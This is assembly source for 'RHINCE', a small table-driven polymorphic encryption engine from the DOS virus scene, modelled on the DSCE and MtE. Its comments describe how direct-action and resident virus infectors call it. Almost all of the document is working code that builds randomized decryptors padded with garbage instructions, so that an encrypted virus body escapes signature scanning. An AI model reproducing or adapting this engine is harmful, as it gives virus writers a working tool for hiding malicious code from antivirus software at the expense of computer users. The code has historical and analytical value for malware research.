; RHINCE, The Rickety and Hardly Insidious yet New Chaos Engine, v1.0, ; By Rhincewind [Vlad] ; ; This here code is a tiny 100% table-driven engine styled after the DSCE. ; The big benefit of the DSCE approach is that you no longer have to keep ; track of a counter, pointer or any other register. ; ; Calling parameters: ; ; CX Length of code to encrypt ; DS:DX 32-bit pointer to code to encrypt ; BP Offset encrypted code will be run at. ; ; Return parameters: ; CX Length of decryptor + decrypted code ; DS:DX 32-bit pointer to encrypted code ; ; The engine is a mere 416 bytes in length. Like the MtE, it must be called ; at the same offset as in the assembled version. This requirement makes it ; a bit tougher to implement this engine in generic direct action infectors, ; as they will have to relocate CS:IP. For the structure of a resident ; infector it makes no difference. Also, the encrypted code will be placed ; directly after the engine, at the 'polycode' label. If this is inconvenient, ; simply move the label. ; ; I wrote this one to see how small an engine of this type can get, as ; the original DSCE is very much overweight. It's trivial to detect, but hey, ; it's still an engine. ; ; Rhince. mut_eng: push dx inc cx shr cx,1 mov di, offset polycode mov si, offset insert_table mov word ptr [si-(insert_table-codelen)],cx call get_rand mov word ptr [si-(insert_table-seed)],ax genstart: mov dx,9 gen_decryptor: call get_rand and ax,0fh ;Bump this up for kicks. do_cx_rnd: push ax mov ax, (endgarbage-garbagetbl)/2 call rand_in_range xchg ax,bx add bx,bx call word ptr [garbagetbl+bx] pop ax dec ax jns do_cx_rnd mov ax, 0c72eh stosw mov al, 06 stosb mov word ptr [si],di cmpsw stosw dec dx jnz gen_decryptor mov ax, 0ebh stosw mov cx,9 push cx fill_er_up: call get_rand stosw loop fill_er_up pop cx push di db 08dh,083h dw -(offset polycode) mov startptr,ax sub ax, (end_decryptor-decryptor) mov si, offset decryptor mov bx, offset insert_table fill_values: mov di, word ptr ds:[bx] stosw movsw inc bx inc bx inc ax inc ax loop fill_values pop di pop si mov cx, codelen encrypt_loop: lodsw xor ax, seed stosw loop encrypt_loop mov cx, di mov dx, offset polycode sub cx,dx ret rnd_onebyters: mov bx, offset onebyters mov ax, (end_onebyters-onebyters) xlat_stosb: call rand_in_range xlat stosb _ret: ret onebyters db 0fdh,0fch,0fbh,0f9h,0f8h,0f5h,0d7h,0cch db 9fh,9eh,99h,98h,97h,96h,95h db 40h,41h,42h,43h,45h,46h,47h,48h,49h,4ah,4bh,4dh,4eh,4fh db 93h,92h,91h,90h,3fh,37h,2fh,27h end_onebyters: seg_overrides db 26h,2eh,36h,3eh rnd_lds_les: call get_rand jns no_override mov ax, 4 mov bx, offset seg_overrides call xlat_stosb no_override: mov ax, (endfirstbytes-firstbytes) mov bx, offset firstbytes call xlat_stosb xchg ax,cx get_nother: call get_rand test cl,1 jz no_sp_test sp_test: mov ah,al and ah,111000b cmp ah,100000b jz get_nother no_sp_test: stosb xchg bx,ax call get_rand mov bh,bl and bh,11000111b cmp bh,110b jz two_extra cmp bl, 0c0h jae no_extra_bytes cmp bl, 40h jb no_extra_bytes cmp bl, 80h jb one_extra two_extra: stosb xchg ah,al one_extra: stosb no_extra_bytes: ret firstbytes db 2,3,0ah,0bh,12h,13h,1ah,1bh,22h,23h,2ah,2bh,32h,33h,38h db 39h,3ah,3bh,8ah,8bh endfirstbytes: rnd_mov: call get_rand and al,0fh cmp al,0ch jz rnd_mov add al, 0b0h stosb xchg ax,bx call get_rand cmp bl,0b8h jb one_extra rnd_flowcontrol:mov ax, (end_flowcontrol-flowcontrol) mov bx, offset flowcontrol call xlat_stosb xor al,al stosb ret flowcontrol db 70h,71h,72h,73h,74h,75h,76h,77h,78h,79h,7ah,7bh,7ch,7dh,7eh,7fh db 0e0h,0e1h,0e2h,0e3h end_flowcontrol: rnd_mov2: mov ax, (end_mov_ops-mov_ops) mov bx, offset mov_ops call xlat_stosb xchg ax,cx call get_rand jns no_inc inc cx mov byte ptr ds:[di-1],cl jmp one_byte2 no_inc: stosb ret one_byte2: stosw ret mov_ops db 04h,0ch,14h,1ch,24h,2ch,34h,3ch,0a8h end_mov_ops: rand_in_range: push bx push dx xchg ax,bx call get_rand xor dx,dx div bx xchg ax,dx pop dx pop bx ret get_rand: in al,40h ;I'm not too worried about RNG prediction xchg al,ah ;attacks against an engine so vulnerable in al,40h ;to the easier things in life. xor ax, 0FFFFh org $-2 Randomize dw ? mov randomize,ax ret garbagetbl: dw offset rnd_onebyters dw offset rnd_mov dw offset rnd_lds_les dw offset rnd_mov2 dw offset rnd_flowcontrol endgarbage: decryptor: cld mov si, 1234h org $-2 startptr dw ? mov cx, 1234h org $-2 codelen dw ? decryptloop: xor word ptr cs:[si], 1234h org $-2 seed dw ? lodsw loop decryptloop dw 01ebh db ? end_decryptor: insert_table: dw 9 dup (?) polycode: